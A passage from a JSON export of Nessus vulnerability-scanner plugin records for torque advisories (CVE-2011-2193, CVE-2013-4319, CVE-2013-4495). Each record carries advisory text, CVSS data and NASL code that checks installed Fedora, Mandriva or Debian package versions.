\n value:\n\"This update fixes a buffer overflow that could allow for remote\narbitrary code execution by a torque service. Credit to Bartlomiej\nBalcerek - CVE-2011-2193.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=711463\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2011-June/061645.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?00bb3c6b\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected torque package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:14\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2011/06/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2011/06/22\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2011-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^14([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 14.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC14\", reference:\"torque-2.4.11-2.fc14\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"torque\");\n}\n", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T15:00:10", "description": "Updated torque package fixes security vulnerability :\n\nA non-priviledged user who was able to run jobs or login to a node which ran pbs_server or pbs_mom, could submit arbitrary jobs to a pbs_mom daemon to queue and run the job, which would run as root (CVE-2013-4319).", "cvss3": {}, "published": "2013-10-20T00:00:00", "type": "nessus", "title": "Mandriva Linux Security Advisory : torque (MDVSA-2013:252)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:mandriva:linux:lib64torque-devel", "p-cpe:/a:mandriva:linux:lib64torque2", "p-cpe:/a:mandriva:linux:torque", "p-cpe:/a:mandriva:linux:torque-client", "p-cpe:/a:mandriva:linux:torque-gui", "p-cpe:/a:mandriva:linux:torque-mom", "p-cpe:/a:mandriva:linux:torque-sched", "p-cpe:/a:mandriva:linux:torque-server", "cpe:/o:mandriva:business_server:1"], "id": "MANDRIVA_MDVSA-2013-252.NASL", "href": "https://www.tenable.com/plugins/nessus/70519", "sourceData": "#%NASL_MIN_LEVEL 70300\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2013:252. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(70519);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2013-4319\");\n script_bugtraq_id(62273);\n script_xref(name:\"MDVSA\", value:\"2013:252\");\n\n script_name(english:\"Mandriva Linux Security Advisory : torque (MDVSA-2013:252)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated torque package fixes security vulnerability :\n\nA non-priviledged user who was able to run jobs or login to a node\nwhich ran pbs_server or pbs_mom, could submit arbitrary jobs to a\npbs_mom daemon to queue and run the job, which would run as root\n(CVE-2013-4319).\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://advisories.mageia.org/MGASA-2013-0308.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64torque-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64torque2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-client\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-gui\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-mom\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-sched\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:torque-server\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:business_server:1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/10/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/10/20\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"lib64torque-devel-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"lib64torque2-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-client-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-gui-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-mom-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-sched-4.1.5.1-1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"torque-server-4.1.5.1-1.mbs1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T15:00:42", "description": "John Fitzpatrick of MWR InfoSecurity discovered an authentication bypass vulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged ports. If a request is not made from a privileged port then it is assumed not to be trusted or authenticated. It was found that pbs_mom does not perform a check to ensure that connections are established from a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom can exploit this vulnerability to remotely execute code as root on the cluster by submitting a command directly to a pbs_mom daemon to queue and run a job.", "cvss3": {}, "published": "2013-10-10T00:00:00", "type": "nessus", "title": "Debian DSA-2770-1 : torque - authentication bypass", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:torque", "cpe:/o:debian:debian_linux:6.0", "cpe:/o:debian:debian_linux:7.0"], "id": "DEBIAN_DSA-2770.NASL", "href": "https://www.tenable.com/plugins/nessus/70354", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2770. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(70354);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-4319\");\n script_bugtraq_id(62273);\n script_xref(name:\"DSA\", value:\"2770\");\n\n script_name(english:\"Debian DSA-2770-1 : torque - authentication bypass\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"John Fitzpatrick of MWR InfoSecurity discovered an authentication\nbypass vulnerability in torque, a PBS-derived batch processing\nqueueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or\npbs_mom can exploit this vulnerability to remotely execute code as\nroot on the cluster by submitting a command directly to a pbs_mom\ndaemon to queue and run a job.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=722306\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/squeeze/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2013/dsa-2770\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the torque packages.\n\nFor the oldstable distribution (squeeze), this problem has been fixed\nin version 2.4.8+dfsg-9squeeze2.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u1.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:6.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/10/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/10/10\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2-dev\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client-x11\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-common\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-mom\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-pam\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-scheduler\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-server\", reference:\"2.4.8+dfsg-9squeeze2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libtorque2\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libtorque2-dev\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-client\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-client-x11\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-common\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-mom\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-pam\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-scheduler\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-server\", reference:\"2.4.16+dfsg-1+deb7u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T15:01:12", "description": "Matt Ezell from Oak Ridge National Labs reported a vulnerability in torque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is passed with the -M switch for qsub. This was later passed to a pipe, making it possible for these commands to be executed as root on the pbs_server.", "cvss3": {}, "published": "2013-11-21T00:00:00", "type": "nessus", "title": "Debian DSA-2796-1 : torque - arbitrary code execution", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:torque", "cpe:/o:debian:debian_linux:6.0", "cpe:/o:debian:debian_linux:7.0"], "id": "DEBIAN_DSA-2796.NASL", "href": "https://www.tenable.com/plugins/nessus/70983", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2796. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(70983);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-4495\");\n script_xref(name:\"DSA\", value:\"2796\");\n\n script_name(english:\"Debian DSA-2796-1 : torque - arbitrary code execution\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Matt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=729333\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/squeeze/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2013/dsa-2796\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the torque packages.\n\nFor the oldstable distribution (squeeze), this problem has been fixed\nin version 2.4.8+dfsg-9squeeze3.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u2.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:6.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/11/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/11/21\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2-dev\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client-x11\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-common\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-mom\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-pam\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-scheduler\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-server\", reference:\"2.4.8+dfsg-9squeeze3\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libtorque2\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"libtorque2-dev\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-client\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-client-x11\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-common\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-mom\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-pam\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-scheduler\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"torque-server\", reference:\"2.4.16+dfsg-1+deb7u2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-18T14:37:24", "description": "Fix CVE-2013-4495: arbitrary code execution via job submission (RHBZ #1029752)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2014-09-23T00:00:00", "type": "nessus", "title": "Fedora 21 : torque-4.2.8-1.fc21 (2014-10153)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4495"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:torque", "cpe:/o:fedoraproject:fedora:21"], "id": "FEDORA_2014-10153.NASL", "href": "https://www.tenable.com/plugins/nessus/77783", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-10153.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(77783);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_bugtraq_id(63722);\n script_xref(name:\"FEDORA\", value:\"2014-10153\");\n\n script_name(english:\"Fedora 21 : torque-4.2.8-1.fc21 (2014-10153)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Fix CVE-2013-4495: arbitrary code execution via job submission (RHBZ\n#1029752)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=796154\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-September/138222.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?78f07173\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected torque package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:A/AC:H/Au:S/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:21\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/09/06\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/09/23\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^21([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 21.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC21\", reference:\"torque-4.2.8-1.fc21\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"torque\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-01-11T15:01:02", "description": "Updated torque packages fix security vulnerability :\n\nA user could submit executable shell commands on the tail of what is passed with the -M switch for qsub. This was later passed to a pipe, making it possible for these commands to be executed as root on the pbs_server (CVE-2013-4495).", "cvss3": {}, "published": 